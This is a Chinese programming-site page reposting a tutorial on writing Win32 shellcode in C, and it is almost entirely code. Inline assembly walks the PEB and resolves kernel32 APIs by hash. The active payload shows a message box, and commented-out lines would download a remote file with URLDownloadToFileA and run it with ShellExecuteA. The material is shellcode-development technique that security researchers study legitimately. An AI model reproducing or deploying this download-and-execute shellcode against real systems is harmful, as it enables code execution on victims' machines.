程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> 關於C語言 >> 使用C語言編寫win32平台Shellcode

使用C語言編寫win32平台Shellcode

編輯:關於C語言

使用C語言編寫win32平台Shellcode
平台:Microsoft Visual C++ 6.0
作者:Cryin (http://hi.baidu.com/justear/)

#include <stdio.h>
#include <Windows.h>
//代碼基於Didier Stevens的文章Writing WIN32 Shellcode With a C-compiler及源代碼
//參考http://blog.didierstevens.com/2010/05/04/writing-win32-shellcode-with-a-c-compiler/

//函數hash值 宏定義 可根據ResolvAddr過程中hash計算過程得出

//Code by Stevens
#define KERNEL32_HASH 0x000d4e88
#define KERNEL32_LOADLIBRARYA_HASH 0x000d5786
#define KERNEL32_GETPROCADDRESSA_HASH 0x00348bfa
 
//添加自定義函數,直接拷貝MSDN中函數定義,注意函數名不同
//參見 函數掛接
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCTSTR lpFileName);
typedef FARPROC (WINAPI *pGetProcAddressA)(HMODULE hModule, LPCTSTR lpProcName);

typedef int (WINAPI *pMessageBoxA)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
typedef HINSTANCE (WINAPI *pShellExecuteA)(
        HWND hwnd,
        LPCTSTR lpVerb,
        LPCTSTR lpFile,
        LPCTSTR lpParameters,
        LPCTSTR lpDirectory,
        INT nShowCmd
        );

typedef HRESULT (WINAPI *pURLDownloadToFileA)(LPUNKNOWN,LPCSTR,LPCSTR,DWORD,LPBINDSTATUSCALLBACK);

struct ShellCodeInfo
{
 pLoadLibraryA fLoadLibraryA;
 pGetProcAddressA fGetProcAddressA;
 
 HMODULE User32;
 HMODULE Urlmon;
 HMODULE shell32;

 pMessageBoxA fMessageBoxA;
 pShellExecuteA fShellExecuteA;
 pURLDownloadToFileA fURLDownloadToFile;
};
void ShellcodeEntry();
void  ShellCodeStart(void)
{
 __asm
 {
  call ShellcodeEntry
  ret
 }
}
void ResolvAddr(pLoadLibraryA *pfLoadLibraryA,pGetProcAddressA *pfGetProcAddressA)
{
 pLoadLibraryA fLoadLibraryA;
 pGetProcAddressA fGetProcAddressA;
 //獲取API函數地址代碼出自The Shellcoders Handbook一書
 //支持win 2k/NT/xp/7其它沒測試
 __asm
 {
  push KERNEL32_LOADLIBRARYA_HASH
  push KERNEL32_HASH
  call ResolvFuncAddr
  mov fLoadLibraryA, eax

  push KERNEL32_GETPROCADDRESSA_HASH
  push KERNEL32_HASH
  call ResolvFuncAddr
  mov fGetProcAddressA, eax

  jmp totheend

 ResolvFuncAddr:
  push ebp
  mov ebp, esp
  push ebx
  push esi
  push edi
  push ecx
  push fs:[0x30]
  pop eax
  mov eax, [eax+0x0c]
  mov ecx, [eax+0x0c]
 next_module:
  mov edx, [ecx]
  mov eax, [ecx+0x30]
  push 0x02
  mov edi, [ebp+0x08]
  push edi
  push eax
  call hashit
  test eax, eax
  jz foundmodule
  mov ecx, edx
  jmp next_module
 foundmodule:
  mov eax, [ecx+0x18]
  push eax
  mov ebx, [eax+0x3c]
  add eax, ebx
  mov ebx, [eax+0x78]
  pop eax
  push eax
  add ebx, eax
  mov ecx, [ebx+28]
  mov edx, [ebx+32]
  mov ebx, [ebx+36]
  add ecx, eax
  add edx, eax
  add ebx, eax
 find_procedure:
  mov esi, [edx]
  pop eax
  push eax
  add esi, eax
  push 1
  push [ebp+12]
  push esi
  call hashit
  test eax, eax
  jz found_procedure
  add edx, 4
  add ebx, 2
  jmp find_procedure
 found_procedure:
  pop eax
  xor edx, edx
  mov dx, [ebx]
  shl edx, 2
  add ecx, edx
  add eax, [ecx]
  pop ecx
  pop edi
  pop esi
  pop ebx
  mov esp, ebp
  pop ebp
  ret 0x08

 hashit:
  push ebp
  mov ebp, esp
  push ecx
  push ebx
  push edx
  xor ecx,ecx
  xor ebx,ebx
  xor edx,edx
  mov eax, [ebp+0x08]
 hashloop:
  mov dl, [eax]
  or dl, 0x60
  add ebx, edx
  shl ebx, 0x01
  add eax, [ebp+16]
  mov cl, [eax]
  test cl, cl
  loopnz hashloop
  xor eax, eax
  mov ecx, [ebp+12]
  cmp ebx, ecx
  jz donehash
  inc eax
 donehash:
  pop edx
  pop ebx
  pop ecx
  mov esp, ebp
  pop ebp
  ret 12

 totheend:

 }

 *pfLoadLibraryA = fLoadLibraryA;
 *pfGetProcAddressA = fGetProcAddressA;
}
void LoadShellcode(ShellCodeInfo *scinfo)
{
 LPTSTR Title="Cryin";
 LPTSTR Message="Hello Shellcode!";
 LPTSTR url="http://up.2cto.com/kf/201012/20101217125112766.gif";
 LPTSTR savepath="C:\logo.gif";

 // MessageBox(NULL,"hello Shellcode!","Cryin",0);

 scinfo->fMessageBoxA(NULL,Message,Title,MB_OK);
        // scinfo->fURLDownloadToFile(NULL,url,savepath,NULL,NULL);
        // scinfo->fShellExecuteA(NULL,0,savepath,0,0,SW_SHOW);
 
}

//Shellcode 入口函數
void ShellcodeEntry()
{
 ShellCodeInfo scinfo;
  ResolvAddr(&(scinfo.fLoadLibraryA), &(scinfo.fGetProcAddressA));
 scinfo.User32=scinfo.fLoadLibraryA("User32.dll");
 scinfo.Urlmon=scinfo.fLoadLibraryA("Urlmon.dll");
 scinfo.shell32=scinfo.fLoadLibraryA("shell32.dll");

 scinfo.fMessageBoxA=(pMessageBoxA)scinfo.fGetProcAddressA(scinfo.User32,"MessageBoxA");
 // scinfo.fShellExecuteA=(pShellExecuteA)scinfo.fGetProcAddressA(scinfo.shell32,"ShellExecuteA");
 // scinfo.fURLDownloadToFile=(pURLDownloadToFileA)scinfo.fGetProcAddressA(scinfo.Urlmon,"URLDownloadToFileA");
 LoadShellcode(&scinfo);
}

int main()
{
 //shellcode的長度:(PDWORD)main - (PDWORD)ShellCodeStart;
 //Shellcode起始位置:(PDWORD)ShellCodeStart
 //根據上面信息就可將shellcode提取
 //這裡本想實現自動提取但未實現。可利用winhex手動提取
 ShellcodeEntry();
 return 0;
}


  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved